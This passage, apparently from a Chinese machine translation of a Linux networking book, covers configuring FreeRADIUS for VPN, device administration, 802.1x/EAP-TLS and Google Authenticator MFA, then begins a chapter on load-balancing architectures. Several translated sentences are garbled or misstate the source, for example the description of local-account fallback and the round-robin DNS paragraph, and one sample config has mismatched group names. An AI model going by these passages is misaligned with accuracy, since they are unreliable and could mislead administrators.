如果您正在进行机器身份验证,您可能需要将username参数更改为以下内容:

--username=%{%{mschap:User-Name}:-00}

最后,要启用 PEAP,我们转到mods-available/eap文件并更新default_eap_type行,并将该方法从md5更改为peap。然后,在tls-config tls-common部分,将random_file行从${certdir}/random的默认值更新为现在显示为random_file = /dev/urandom

完成后,您希望对eap文件的更改如下所示:

eap {
        default_eap_type = peap
}
tls-config tls-common {
        random_file = /dev/urandom
}

这完成了 PEAP 身份验证的典型服务器端配置。

在客户端(请求者)端,我们只需启用 CHAP 或 PEAP 身份验证。在这种配置中,站点发送用户 ID 或机器名称作为认证帐户,以及用户或工作站密码的哈希版本。在服务器端,此哈希与其自己的计算进行比较。密码永远不会以明文形式传输;然而,服务器发送的“挑战”作为额外步骤发送。

在 NAS 设备上(例如,VPN 网关或无线系统),我们启用MS-CHAP身份验证,或者MS-CHAPv2(它增加了通过 RADIUS 进行密码更改的功能)。

现在,我们将看到事情变得更加复杂;如果您想要使用 RADIUS 来控制多个事物,例如同时控制 VPN 访问和对该 VPN 服务器的管理员访问,使用相同的 RADIUS 服务器?让我们探讨如何使用U**nlang语言设置规则来实现这一点。

Unlang – 无语言

FreeRADIUS 支持一种称为Unlang无语言的缩写)的简单处理语言。这使我们能够制定规则,为 RADIUS 身份验证流程和最终决策添加额外的控制。

Unlang 语法通常可以在虚拟服务器文件中找到,例如在我们的情况下,可能是/etc/freeradius/3.0/sites-enabled/default,并且可以在标题为authorizeauthenticatepost-authpreacctaccountingpre-proxypost-proxysession的部分中找到。

在大多数常见的部署中,我们可能会寻找一个传入的 RADIUS 变量或 AV 对,例如Service-Type,可能是AdministrativeAuthenticate-Only,在 Unlang 代码中,将其与组成员资格进行匹配,例如网络管理员、VPN 用户或无线用户。

对于两个防火墙登录要求的简单情况(仅 VPN管理访问),您可能会有这样的规则:

if(&NAS-IP-Address == "192.168.122.20") {
    if(Service-Type == Administrative && LDAP-Group == "Network Admins") {
            update reply {
                Cisco-AVPair = "shell:priv-lvl=15"
            } 
            accept
    } 
    elsif (Service-Type == "Authenticate-Only" && LDAP-Group == "VPN Users" ) {
        accept
    }
    elsif {
        reject
    }
}

您可以进一步添加到这个示例中,如果用户正在 VPN 连接,Called-Station-ID将是防火墙的外部 IP 地址,而管理登录请求将是内部 IP 或管理 IP(取决于您的配置)。

如果有大量设备在运行,switch/case结构可以很方便地简化永无止境的if/else-if语句列表。您还可以使用all switches与(例如)NAS-Identifier =~ /SW*/

如果要进行无线访问的身份验证,NAS-Port-Type设置将是Wireless-802.11,对于 802.1x 有线访问请求,NAS-Port-Type设置将是Ethernet

您还可以根据不同的无线 SSID 包含不同的身份验证标准,因为 SSID 通常在Called-Station-SSID变量中,格式为<AP 的 MAC 地址>:SSID 名称,用-字符分隔58-97-bd-bc-3e-c0:WLCORP。因此,要返回 MAC 地址,您将匹配最后六个字符,例如.\.WLCORP$

在典型的企业环境中,我们可能会有两到三个不同访问级别的 SSID,对不同网络设备类型的管理用户,具有 VPN 访问权限或访问特定 SSID 的用户。您可以看到这种编码练习如何迅速变得非常复杂。建议首先在小型测试环境中测试您的unlang语法的更改(也许使用虚拟网络设备),然后在计划的停机/测试维护窗口期间进行部署和生产测试。

现在我们已经构建好了所有的部分,让我们为各种身份验证需求配置一些真实的设备。

RADIUS 使用案例场景

在本节中,我们将看看几种设备类型以及这些设备可能具有的各种身份验证选项和要求,并探讨如何使用 RADIUS 来解决它们。让我们从 VPN 网关开始,使用标准的用户 ID 和密码身份验证(不用担心,我们不会就这样留下它)。

使用用户 ID 和密码进行 VPN 身份验证

VPN 服务(或者在此之前,拨号服务)的身份验证是大多数组织首先使用 RADIUS 的原因。然而,随着时间的推移,单因素用户 ID 和密码登录对于任何面向公众的服务来说已经不再是安全选项。我们将在本节讨论这一点,但当我们在 MFA 部分时,我们将更新为更现代的方法。

首先,将您的 VPN 网关(通常是防火墙)添加为 RADIUS 的客户端-将其添加到您的/etc/freeradius/3.0/clients.conf文件中,如下所示:

client hqfw01 {
  ipaddr = 192.168.122.1
  vendor = cisco
  secret = pzg64yr43njm5eu
}

接下来,配置您的防火墙指向 RADIUS 进行 VPN 用户身份验证。例如,对于 Cisco 自适应安全设备(ASA)防火墙,您可以进行以下更改:

! create a AAA Group called "RADIUS" that uses the protocol RADIUS
aaa-server RADIUS protocol radius
! next, create servers that are members of this group
aaa-server RADIUS (inside) host <RADIUS Server IP 01>
 key <some key 01>
 radius-common-pw <some key 01>
 no mschapv2-capable
 acl-netmask-convert auto-detect
aaa-server RADIUS (inside) host <RADIUS Server IP 02>
 key <some key 02>
 radius-common-pw <some key 02>
 no mschapv2-capable
 acl-netmask-convert auto-detect

接下来,更新隧道组以使用RADIUS服务器组进行身份验证,如下所示:

tunnel-group VPNTUNNELNAME general-attributes
 authentication-server-group RADIUS
 default-group-policy VPNPOLICY

现在这个已经可以工作了,让我们将RADIUS作为对这个相同设备的管理访问的身份验证方法。

对网络设备的管理访问

接下来,我们将要添加的是对同一防火墙的管理访问。我们如何为管理员做到这一点,但又防止常规 VPN 用户访问管理功能?很简单 - 我们将利用一些额外的 AV 对(记得我们在本章前面讨论过吗?)。

我们将首先添加一个新的网络策略,具有以下凭据:

  • 对于 VPN 用户,我们将添加一个服务类型的 AV 对,值为仅认证

  • 对于管理用户,我们将添加一个服务类型的 AV 对,值为管理

在 RADIUS 端,策略将要求每个策略的组成员资格,因此我们将在后端身份验证存储中创建名为VPN 用户网络管理员的组,并适当填充它们。请注意,当所有这些放在一起时,管理员将具有 VPN 访问权限和管理访问权限,但具有常规 VPN 帐户的人只能具有 VPN 访问权限。

要获取此规则的实际语法,我们将回到 Unlang 的上一节,并使用那个例子,它恰好满足我们的需求。如果您正在请求管理访问权限,您需要在网络管理员组中,如果您需要 VPN 访问权限,您需要在VPN 用户组中。如果访问和组成员资格不符,则将拒绝访问。

现在 RADIUS 已经设置好了,让我们将对图形用户界面GUI)和安全外壳SSH)接口的管理访问指向 RADIUS 进行身份验证。在防火墙上,将以下更改添加到我们在 VPN 示例中讨论过的 ASA 防火墙配置中:

aaa authentication enable console RADIUS LOCAL
aaa authentication http console RADIUS LOCAL
aaa authentication ssh console RADIUS LOCAL
aaa accounting enable console RADIUS
aaa accounting ssh console RADIUS
aaa authentication login-history

请注意,每种登录方法都有一个“身份验证列表”。我们首先使用 RADIUS,但如果失败(例如,如果 RADIUS 服务器宕机或无法访问),则对本地帐户的身份验证将失败。还要注意,我们在enable模式的列表中有 RADIUS。这意味着我们不再需要一个所有管理员必须使用的单一共享启用密码。最后,aaa authentication log-history命令意味着当您进入enable模式时,防火墙将将您的用户名注入 RADIUS 请求,因此您只需要在输入enable模式时输入密码。

如果我们没有设置unlang规则,那么仅仅前面的配置将允许常规访问 VPN 用户请求和获取管理访问权限。一旦 RADIUS 控制了一个设备上的多个访问权限,就必须编写规则来保持它们的清晰。

配置好我们的防火墙后,让我们来看看对路由器和交换机的管理访问。

对路由器和交换机的管理访问

我们将从思科路由器或交换机配置开始。这个配置在不同平台或** Internetwork Operating System IOS **)版本之间会有轻微差异,但应该看起来非常类似于这样:

radius server RADIUS01
    address ipv4 <radius server ip 01> auth-port 1812 acct-port 1813
    key <some key>
radius server RADIUS02
    address ipv4 <radius server ip 02> auth-port 1812 acct-port 1813
    key <some key>
aaa group server radius RADIUSGROUP
    server name RADIUS01
    server name RADIUS02
ip radius source-interface <Layer 3 interface name>
aaa new-model
aaa authentication login RADIUSGROUP group radius local
aaa authorization exec RADIUSGROUP group radius local
aaa authorization network RADIUSGROUP group radius local
line vty 0 97
 ! restricts access to a set of trusted workstations or subnets
 access-class ACL-MGT in
 login authentication RADIUSG1
 transport input ssh

惠普HP)ProCurve 等效配置将如下所示:

radius-server host <server ip> key <some key 01>
aaa server-group radius "RADIUSG1" host <server ip 01>
! optional RADIUS and AAA parameters
radius-server dead-time 5
radius-server timeout 3
radius-server retransmit 2
aaa authentication num-attempts 3
aaa authentication ssh login radius server-group "RADIUSG1" local
aaa authentication ssh enable radius server-group "RADIUSG1" local

请注意,当进入enable模式时,HP 交换机将需要第二次进行完整身份验证(用户 ID 和密码),而不仅仅是密码,这可能出乎您的意料。

在 RADIUS 服务器上,来自思科和惠普交换机的管理访问请求将包括我们在防火墙管理访问中看到的相同 AV 对:服务类型:管理。您可能会将此与 RADIUS 中的组成员资格要求配对,就像我们为防火墙所做的那样。

既然我们已经让 RADIUS 控制我们的交换机的管理访问权限,让我们将 RADIUS 控制扩展到包括更安全的身份验证方法。让我们从探索 EAP-TLS(其中** EAP 代表可扩展身份验证协议**)开始,它使用证书进行客户端和 RADIUS 服务器之间的相互身份验证交换。

EAP-TLS 身份验证的 RADIUS 配置

要开始本节,让我们讨论一下 EAP-TLS 到底是什么。EAP是一种扩展 RADIUS 传统用户 ID/密码交换的方法。我们在第八章中熟悉了 TLS,Linux 上的证书服务。因此,简单地说,EAP-TLS 是在 RADIUS 内使用证书来证明身份和提供认证服务。

在大多数“常规公司”使用情况下,EAP-TLS 与一个名为 802.1x 的第二协议配对使用,该协议用于控制对网络的访问,例如对无线 SSID 或有线以太网端口的访问。我们将花一些时间来了解这一点,但让我们开始看看 EAP-TLS 的具体细节,然后加入网络访问。

那么,从协议的角度来看,这是什么样子的呢?如果您回顾我们在第八章中讨论的使用证书–Web 服务器示例,它看起来与那个例子完全一样,但是在双向上。绘制出来(在图 9.5中),我们看到与 Web 服务器示例中相同的信息交换,但在双向上,如下所述:

  • 客户端(或 supplicant)使用其用户或设备证书向 RADIUS 发送其身份信息,而不是使用用户 ID 和密码——RADIUS 服务器使用这些信息来验证 supplicant 的身份,并根据该信息(和 RADIUS 内的相关规则)允许或拒绝访问。

  • 同时,supplicant 以相同的方式验证 RADIUS 服务器的身份——验证服务器名称是否与证书中的通用名称CN)匹配,并且证书是否受信任。这可以防范恶意部署的 RADIUS 服务器(例如,在“恶意双胞胎”无线攻击中)。

  • 一旦完成了这种相互认证,网络连接就在 supplicant 和网络设备(NAS)之间完成了——通常,该设备是交换机或 WAP(或无线控制器)。

您可以在以下图表中看到这一点的说明:

图 9.5 – 802.1x/EAP-TLS 会话的认证流程

图 9.5 – 802.1x/EAP-TLS 会话的认证流程

以下是一些需要注意的事项:

  • 所有这些都要求提前分发所有必需的证书。这意味着 RADIUS 服务器需要安装其证书,而 supplicants 需要安装其设备证书和/或用户证书。

  • 作为其中的一部分,CA 必须得到设备、用户和 RADIUS 服务器的信任。虽然所有这些都可以通过公共 CA 完成,但通常由私有 CA 完成。

  • 在认证过程中,supplicant 和 RADIUS 服务器(当然)都不与 CA 通信。

既然我们理解了 EAP-TLS 的工作原理,那么在无线控制器上,EAP-TLS 配置是什么样子的呢?

使用 802.1x/EAP-TLS 进行无线网络认证

对于许多公司来说,EAP-TLS 用于 802.1x 认证作为其无线客户端认证机制,主要是因为无线的其他任何认证方法都容易受到一种或多种简单攻击的影响。EAP-TLS 实际上是唯一安全的无线认证方法。

也就是说,在 NAS 上(在这种情况下是无线控制器)的配置非常简单——准备和配置的大部分工作都在 RADIUS 服务器和客户端站上。对于思科无线控制器,配置通常主要通过 GUI 完成,当然,也有命令行。

在 GUI 中,EAP-TLS 认证非常简单——我们只是为客户端建立一个直接向 RADIUS 服务器进行认证的通道(反之亦然)。步骤如下:

  1. 首先,为身份验证定义一个 RADIUS 服务器。几乎相同的配置也适用于相同服务器的 RADIUS 计费,使用端口1813。您可以在以下截图中看到一个示例配置:图 9.6 – 无线控制器配置的 RADIUS 服务器

图 9.6 – 无线控制器配置的 RADIUS 服务器

  1. 接下来,在 SSID 定义下,我们将设置 802.1x 身份验证,如以下截图所示:图 9.7 – 配置 SSID 使用 802.1x 身份验证

图 9.7 – 配置 SSID 使用 802.1x 身份验证

  1. 最后,在 AAA 服务器下,我们将 RADIUS 服务器链接到 SSID,如以下截图所示:

图 9.8 – 为 802.1x 身份验证和计费分配 RADIUS 服务器

图 9.8 – 为 802.1x 身份验证和计费分配 RADIUS 服务器

为了使所有这些工作正常运行,客户端和 RADIUS 服务器都需要适当的证书,并且需要配置 EAP-TLS 身份验证。建议提前分发证书,特别是如果您正在使用自动化发放证书,您需要给客户端足够的时间,以便它们都连接并触发证书的发放和安装。

现在使用 EAP-TLS 安全认证的无线网络,典型的工作站交换机上的类似配置是什么样的?

使用 802.1x/EAP-TLS 的有线网络身份验证

在这个例子中,我们将展示网络设备的 802.1x 身份验证的交换机端配置(思科)。在这种配置中,工作站使用 EAP-TLS 进行身份验证,我们告诉交换机“信任”电话。虽然这是一种常见的配置,但很容易被规避——攻击者可以告诉他们的笔记本电脑将其数据包“标记”(例如使用nmcli命令)为虚拟局域网(VLAN)105(语音 VLAN)。只要交换机信任设备设置自己的 VLAN,这种攻击就不那么困难,尽管从那里继续攻击需要一些努力来使所有参数“完美”。因此,最好是让 PC 和电话都进行身份验证,但这需要额外的设置——电话需要设备证书才能完成这种推荐的配置。

让我们继续我们的示例交换机配置。首先,我们定义 RADIUS 服务器和组(这应该看起来很熟悉,来自管理访问部分)。

允许 802.1x 的交换机配置包括一些全局命令,设置 RADIUS 服务器和 RADIUS 组,并将 802.1x 身份验证链接回 RADIUS 配置。这些命令在以下代码片段中说明:

radius server RADIUS01
    address ipv4 <radius server ip 01> auth-port 1812 acct-port 1813
    key <some key>
radius server RADIUS02
    address ipv4 <radius server ip 02> auth-port 1812 acct-port 1813
    key <some key>
aaa group server radius RADIUSGROUP
    server name RADIUS01
    server name RADIUS02
! enable dot1x authentication for all ports by default
dot1x system-auth-control
! set up RADIUS Authentication and Accounting for Network Access
aaa authentication dot1x default group RADIUSGROUP
aaa accounting dot1x default start-stop group RADIUSGROUP

接下来,我们配置交换机端口。典型的交换机端口,使用 VLAN 101 上的工作站的 802.1x 身份验证,使用工作站和/或用户证书(之前发放),并且对语音 IP 电话(在 VLAN 105 上)不进行身份验证。请注意,正如我们讨论的那样,身份验证是相互的——工作站在 RADIUS 服务器认证有效的同时,RADIUS 服务器也认证工作站。

表 9.2 – 交换机 802.1x/EAP-TLS 配置的接口配置

表 9.2 – 交换机 802.1x/EAP-TLS 配置的接口配置

强制 VOIP 电话也使用 802.1x 和证书进行身份验证,删除trust device cisco-phone行。这种改变存在一定的政治风险——如果一个人的个人电脑无法进行身份验证,他们又无法打电话给帮助台,那么整个故障排除和解决过程的“温度”立即升高,即使他们可以使用手机打电话给帮助台。

接下来,让我们稍微回顾一下,并添加 Google Authenticator 的多因素认证。当用户 ID 和密码可能是传统解决方案时,通常会使用这种方式。例如,这是保护 VPN 认证免受诸如密码填充攻击之类的问题的绝佳解决方案。

使用 Google Authenticator 进行 RADIUS 的多因素认证

正如讨论的那样,对于访问公共服务,特别是面向公共互联网的任何服务,2FA 认证方案是最佳选择,而在过去,您可能已经配置了简单的用户 ID 和密码进行认证。随着持续发生的短信服务SMS)泄露事件,我们看到了新闻报道中为什么短信消息不适合作为 2FA 的例子,幸运的是,像 Google Authenticator 这样的工具可以免费配置用于这种情况。

首先,我们将安装一个新的软件包,允许对 Google Authenticator 进行认证,如下所示:

$ sudo apt-get install libpam-google-authenticator -y

users文件中,我们将更改用户认证以使用可插拔认证模块PAMs),如下所示:

# Instruct FreeRADIUS to use PAM to authenticate users
DEFAULT Auth-Type := PAM
$ sudo vi /etc/freeradius/3.0/sites-enabled/default

取消注释pam行,如下所示:

#  Pluggable Authentication Modules.
        pam

接下来,我们需要编辑/etc/pam.d/radiusd文件。注释掉默认的include文件,如下面的代码片段所示,并添加 Google Authenticator 的行。请注意,freeraduser是一个本地 Linux 用户 ID,将成为该模块的进程所有者:

#@include common-auth
#@include common-account
#@include common-password
#@include common-session
auth requisite pam_google_authenticator.so forward_pass secret=/etc/freeradius/${USER}/.google_authenticator user=<freeraduser>
auth required pam_unix.so use_first_pass

如果您的 Google Authenticator 服务正常工作,那么与之相关的 RADIUS 链接现在也应该正常工作了!

接下来,生成 Google Authenticator 的秘钥并提供快速响应QR)码、账户恢复信息和其他账户信息给客户(在大多数环境中,这可能是一个自助实现)。

现在,当用户对 RADIUS 进行认证(对于 VPN、管理访问或其他任何情况),他们使用常规密码和他们的 Google 秘钥。在大多数情况下,您不希望为无线认证增加这种开销。证书往往是最适合的解决方案,甚至可以说,如果您的无线网络没有使用 EAP-TLS 进行认证,那么它就容易受到一种或多种常见攻击。

总结

这结束了我们对使用 RADIUS 对各种服务器进行认证的旅程。与我们在本书中探讨过的许多 Linux 服务一样,本章只是对 RADIUS 可以用来解决的常见配置、用例和组合进行了初步探讨。

在这一点上,您应该具备理解 RADIUS 工作原理并能够为 VPN 服务和管理访问配置安全的 RADIUS 认证,以及无线和有线网络访问的基础知识。您应该具备理解 PAP、CHAP、LDAP、EAP-TLS 和 802.1x 认证协议的基础知识。特别是 EAP-TLS 的使用案例应该说明为什么拥有内部 CA 可以真正帮助您保护网络基础设施。

最后,我们提到了将 Google Authenticator 与 RADIUS 集成以实现多因素认证。尽管我们没有详细介绍 Google Authenticator 服务的配置,但是这似乎最近变化如此频繁,以至于该服务的 Google 文档是最好的参考资料。

在下一章中,我们将讨论如何将 Linux 用作负载均衡器。负载均衡器已经存在多年了,但近年来,它们在物理和虚拟数据中心中的部署频率和方式都有了很大的变化,敬请关注!

问题

最后,这里有一些问题供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 对于您打算对其进行管理访问和 VPN 访问认证的防火墙,您如何允许普通用户进行 VPN 访问,但不允许进行管理访问?

  2. 为什么 EAP-TLS 是无线网络的一个很好的认证机制?

  3. 如果 EAP-TLS 如此出色,为什么 MFA 优先于具有证书的 EAP-TLS 进行 VPN 访问认证?

进一步阅读

本章引用的基本 RFC 列在这里:

然而,DNS 的完整 RFC 列表很长。以下列表仅显示当前的 RFC - 已废弃和实验性的 RFC 已被删除。当然,这些都可以在tools.ietf.org以及www.rfc-editor.org:找到。

RFC 2548: Microsoft 特定供应商的 RADIUS 属性

RFC 2607: 漫游中的代理链接和策略实施

RFC 2809: 通过 RADIUS 实现 L2TP 强制隧道

RFC 2865: 远程认证拨号用户服务(RADIUS)

RFC 2866: RADIUS 会计

RFC 2867: 用于隧道协议支持的 RADIUS 会计修改

RFC 2868: 用于隧道协议支持的 RADIUS 属性

RFC 2869: RADIUS 扩展

RFC 2882: 网络访问服务器要求:扩展的 RADIUS 实践

RFC 3162: RADIUS 和 IPv6

RFC 3575: RADIUS 的 IANA 考虑事项

RFC 3579: EAP 的 RADIUS 支持

RFC 3580: IEEE 802.1X RADIUS 使用指南

RFC 4014: DHCP 中继代理信息选项的 RADIUS 属性子选项

RFC 4372: 可计费用户身份

RFC 4668: IPv6 的 RADIUS 认证客户端 MIB

RFC 4669: IPv6 的 RADIUS 认证服务器 MIB

RFC 4670: IPv6 的 RADIUS 会计客户端 MIB

RFC 4671: IPv6 的 RADIUS 会计服务器 MIB

RFC 4675: 虚拟局域网和优先级支持的 RADIUS 属性

RFC 4679: DSL 论坛特定供应商的 RADIUS 属性

RFC 4818: RADIUS 委派 IPv6 前缀属性

RFC 4849: RADIUS 过滤规则属性

RFC 5080: 常见的 RADIUS 实施问题和建议的修复

RFC 5090: 摘要认证的 RADIUS 扩展

RFC 5176: RADIUS 的动态授权扩展

RFC 5607: NAS 管理的 RADIUS 授权

RFC 5997: RADIUS 协议中状态服务器数据包的使用

RFC 6158: RADIUS 设计指南

RFC 6218: Cisco 特定供应商的 RADIUS 属性用于密钥材料的传递

RFC 6421: 远程认证拨号用户服务(RADIUS)的密码敏捷要求

RFC 6911: IPv6 访问网络的 RADIUS 属性

RFC 6929: 远程认证拨号用户服务(RADIUS)协议扩展

RFC 8044: RADIUS 中的数据类型

  • AD/SMB 集成:

wiki.freeradius.org/guide/freeradius-active-directory-integration-howto

web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/s1-samba-security-modes.html

wiki.samba.org/index.php/Setting_up_Samba_as_a_Domain_Member

networkradius.com/doc/3.0.10/unlang/home.html

freeradius.org/radiusd/man/unlang.txt

第十章:Linux 负载均衡器服务

在本章中,我们将讨论适用于 Linux 的负载均衡器服务,具体来说是 HAProxy。负载均衡器允许客户端工作负载分布到多个后端服务器。这允许单个 IP 扩展到比单个服务器更大,并且在服务器故障或维护窗口的情况下也允许冗余。

完成这些示例后,您应该具备通过几种不同的方法在自己的环境中部署基于 Linux 的负载均衡器服务的技能。

特别是,我们将涵盖以下主题:

  • 负载均衡简介

  • 负载均衡算法

  • 服务器和服务健康检查

  • 数据中心负载均衡器设计考虑

  • 构建 HAProxy NAT/代理负载均衡器

  • 关于负载均衡器安全性的最后说明

由于设置此部分的基础设施的复杂性,您可以在示例配置方面做出一些选择。

技术要求

在本章中,我们将探讨负载均衡器功能。当我们在本书的后面示例中工作时,您可以跟着进行,并在当前 Ubuntu 主机或虚拟机中实施我们的示例配置。但是,要看到我们的负载均衡示例的实际效果,您需要一些东西:

  • 至少有两个目标主机来平衡负载

  • 当前 Linux 主机中的另一个网络适配器

  • 另一个子网来托管目标主机和这个新的网络适配器

此配置有一个匹配的图表,图 10.2,将在本章后面显示,说明了当我们完成时所有这些将如何连接在一起。

这给我们的实验室环境的配置增加了一整个层次的复杂性。当我们到达实验室部分时,我们将提供一些替代方案(下载预构建的虚拟机是其中之一),但您也可以选择跟着阅读。如果是这种情况,我认为您仍然会对这个主题有一个很好的介绍,以及对现代数据中心中各种负载均衡器配置的设计、实施和安全影响有一个扎实的背景。

负载均衡简介

在其最简单的形式中,负载均衡就是将客户端负载分布到多个服务器上。这些服务器可以在一个或多个位置,以及分配负载的方法可以有很大的不同。事实上,您在均匀分配负载方面的成功程度也会有很大的不同(主要取决于所选择的方法)。让我们探讨一些更常见的负载均衡方法。

循环 DNS(RRDNS)

您可以只使用 DNS 服务器进行简单的负载均衡,即所谓的a.example.com主机名,DNS 服务器将返回服务器 1 的 IP;然后,当下一个客户端请求时,它将返回服务器 2 的 IP,依此类推。这是最简单的负载均衡方法,对于共同放置的服务器和不同位置的服务器同样有效。它也可以在基础设施上不做任何更改-没有新组件,也没有配置更改:

图 10.1-循环 DNS 的简单负载均衡

图 10.1-循环 DNS 的简单负载均衡

配置 RRDNS 很简单-在 BIND 中,只需为目标主机名配置多个A记录,其中包含多个 IP。连续的 DNS 请求将按顺序返回每个A记录。将域的A记录缩短是个好主意,以便按顺序(顺序返回匹配的记录)、随机或固定(始终以相同顺序返回匹配的记录)。更改返回顺序的语法如下(cyclic,默认设置,如下所示):

options { 
    rrset-order { 
        class IN type A name "mytargetserver.example.com" order cyclic; 
    }; 
}; 

这种配置存在一些问题:

  • 在这种模型中,没有好的方法来整合任何类型的健康检查-所有服务器是否正常运行?服务是否正常?主机是否正常?

  • 没有办法看到任何 DNS 请求是否实际上会跟随连接到服务。有各种原因可能会发出 DNS 请求,并且交互可能就此结束,没有后续连接。

  • 也没有办法监视会话何时结束,这意味着没有办法将下一个请求发送到最少使用的服务器 - 它只是在所有服务器之间稳定地轮换。因此,在任何工作日的开始,这可能看起来像一个好模型,但随着一天的进展,总会有持续时间更长的会话和极短的会话(或根本没有发生的会话),因此很常见看到服务器负载在一天进展过程中变得“不平衡”。如果没有明确的一天开始或结束来有效地“清零”,这种情况可能会变得更加明显。

  • 出于同样的原因,如果集群中的一个服务器因维护或非计划中断而下线,没有好的方法将其恢复到与会话计数相同的状态。

  • 通过一些 DNS 侦察,攻击者可以收集所有集群成员的真实 IP,然后分别评估它们或对它们进行攻击。如果其中任何一个特别脆弱或具有额外的 DNS 条目标识它为备用主机,这将使攻击者的工作变得更加容易。

  • 将任何目标服务器下线可能会成为一个问题 - DNS 服务器将继续按请求的顺序提供该地址。即使记录被编辑,任何下游客户端和 DNS 服务器都将缓存其解析的 IP,并继续尝试连接到已关闭的主机。

  • 下游 DNS 服务器(即互联网上的服务器)将在区域的 TTL 周期内缓存它们获取的任何记录。因此,任何这些 DNS 服务器的客户端都将被发送到同一个目标服务器。

因此,RRDNS 可以在紧急情况下简单地完成工作,但通常不应将其实施为长期的生产解决方案。也就是说,全局服务器负载均衡器GSLB)产品实际上是基于这种方法的,具有不同的负载均衡选项和健康检查。负载均衡器与目标服务器之间的断开在 GSLB 中仍然存在,因此许多相同的缺点也适用于这种解决方案。

在数据中心中,我们更经常看到基于代理(第 7 层)或基于 NAT(第 4 层)的负载均衡。让我们探讨这两个选项。

入站代理 - 第 7 层负载均衡

在这种架构中,客户端的会话在代理服务器上终止,并在代理的内部接口和真实服务器 IP 之间启动新的会话。

这也提出了许多在许多负载均衡解决方案中常见的架构术语。在下图中,我们可以看到前端的概念,面向客户端,以及后端,面向服务器。我们还应该在这一点上讨论 IP 地址。前端呈现了所有目标服务器共享的虚拟 IPVIP),客户端根本看不到服务器的真实 IPRIPs):

图 10.2 - 使用反向代理进行负载均衡

图 10.2 - 使用反向代理进行负载均衡

这种方法有一些缺点:

  • 在本章讨论的所有方法中,它对负载均衡器的 CPU 负载最高,并且在极端情况下可能会对客户端产生性能影响。

  • 此外,由于目标服务器上的客户端流量都来自代理服务器(或服务器),如果没有一些特殊处理,那么在目标/应用程序服务器上看到的客户端 IP 将始终是负载均衡器的后端 IP。这使得在应用程序中记录直接客户端交互成为问题。要从一个会话中解析出流量并将其与客户端的实际地址相关联,我们必须将负载均衡器的客户端会话(它看到客户端 IP 地址但看不到用户身份)与应用程序/网络服务器日志(它看到用户身份但看不到客户端 IP 地址)进行匹配。在这些日志之间匹配会话可能是一个真正的问题;它们之间的共同元素是负载均衡器上的时间戳和源端口,而源端口通常不在 Web 服务器上。

  • 这可以通过具有一些应用程序意识来减轻。例如,常见的是为 Citrix ICA 服务器或 Microsoft RDP 服务器后端设置 TLS 前端。在这些情况下,代理服务器对协议有一些出色的“钩子”,允许客户端 IP 地址一直传递到服务器,并且负载均衡器检测到的身份也被检测到。

然而,使用代理架构允许我们完全检查流量是否受到攻击,如果工具设置好的话。实际上,由于代理架构,负载均衡器和目标服务器之间的最后一个“跳跃”是一个全新的会话 - 这意味着无效的协议攻击大部分被过滤掉,而无需进行任何特殊配置。

我们可以通过将负载均衡器作为入站网络地址转换NAT)配置来减轻代理方法的一些复杂性。当不需要解密时,NAT 方法通常是常见的,并内置于大多数环境中。

入站 NAT - 第 4 层负载平衡

这是最常见的解决方案,也是我们在示例中将要开始使用的解决方案。在许多方面,这种架构看起来与代理解决方案相似,但有一些关键的区别。请注意,在下图中,前端和后端的 TCP 会话现在匹配 - 这是因为负载均衡器不再是代理;它已被配置为入站 NAT 服务。所有客户端仍然连接到单个 VIP,并由负载均衡器重定向到各种服务器 RIP:

图 10.3 - 使用入站 NAT 进行负载平衡

图 10.3 - 使用入站 NAT 进行负载平衡

在许多情况下,这是首选架构的几个原因:

  • 服务器看到客户端的真实 IP,并且服务器日志正确地反映了这一点。

  • 负载均衡器在内存中维护 NAT 表,负载均衡器日志反映了各种 NAT 操作,但无法“看到”会话。例如,如果服务器正在运行 HTTPS 会话,如果这是一个简单的第 4 层 NAT,则负载均衡器可以看到 TCP 会话,但无法解密流量。

  • 我们可以选择在前端终止 HTTPS 会话,然后在此架构中在后端运行加密或明文。然而,由于我们维护了两个会话(前端和后端),这开始看起来更像是代理配置。

  • 由于负载均衡器看到整个 TCP 会话(直到第 4 层),现在可以使用多种负载平衡算法(有关更多信息,请参见负载平衡算法的下一节)。

  • 这种架构允许我们在负载均衡器上放置Web 应用程序防火墙WAF)功能,这可以掩盖目标服务器 Web 应用程序上的一些漏洞。例如,WAF 是对跨站脚本或缓冲区溢出攻击的常见防御,或者任何可能依赖输入验证中断的攻击。对于这些类型的攻击,WAF 识别任何给定字段或 URI 的可接受输入,然后丢弃任何不匹配的输入。但是,WAF 并不局限于这些攻击。将 WAF 功能视为 Web 特定的 IPS(见第十四章Linux 上的蜜罐服务)。

  • 这种架构非常适合使会话持久或“粘性” - 我们的意思是一旦客户端会话“附加”到服务器,随后的请求将被定向到同一台服务器。这非常适合具有后端数据库的页面,例如,如果您不保持相同的后端服务器,您的活动(例如,电子商务网站上的购物车)可能会丢失。动态或参数化网站 - 在这些网站上,页面在您导航时实时生成(例如,大多数具有产品目录或库存的网站) - 通常也需要会话持久性。

  • 您还可以独立地负载均衡每个连续的请求,因此,例如,当客户端浏览网站时,他们的会话可能会在每个页面由不同的服务器终止。这种方法非常适合静态网站。

  • 您可以在这种架构的基础上叠加其他功能。例如,这些通常与防火墙并行部署,甚至与公共互联网上的本机接口并行部署。因此,您经常会看到负载均衡器供应商配备 VPN 客户端以配合其负载均衡器。

  • 如前图所示,入站 NAT 和代理负载均衡器具有非常相似的拓扑结构 - 连接看起来都非常相似。这一点延续到了实现中,可以看到一些东西通过代理和一些东西通过同一负载均衡器上的 NAT 过程。

然而,即使这种配置的 CPU 影响远低于代理解决方案,每个工作负载数据包仍必须通过负载均衡器在两个方向上进行路由。我们可以使用直接服务器返回DSR)架构大大减少这种影响。

DSR 负载平衡

在 DSR 中,所有传入的流量仍然从负载均衡器上的 VIP 负载均衡到各个服务器的 RIP。然而,返回流量直接从服务器返回到客户端,绕过负载均衡器。

这怎么可能?这是怎么回事:

  • 在进入时,负载均衡器会重写每个数据包的 MAC 地址,将它们负载均衡到目标服务器的 MAC 地址上。

  • 每台服务器都有一个环回地址,这是一个配置的地址,与 VIP 地址匹配。这是返回所有流量的接口(因为客户端期望从 VIP 地址返回流量)。但是,它必须配置为不回复 ARP 请求(否则,负载均衡器将在入站路径上被绕过)。

这可能看起来很复杂,但以下图表应该使事情变得更清晰一些。请注意,此图表中只有一个目标主机,以使流量流动更容易看到:

图 10.4 - DSR 负载平衡

图 10.4 - DSR 负载平衡

构建这个的要求非常严格:

  • 负载均衡器和所有目标服务器都需要在同一个子网上。

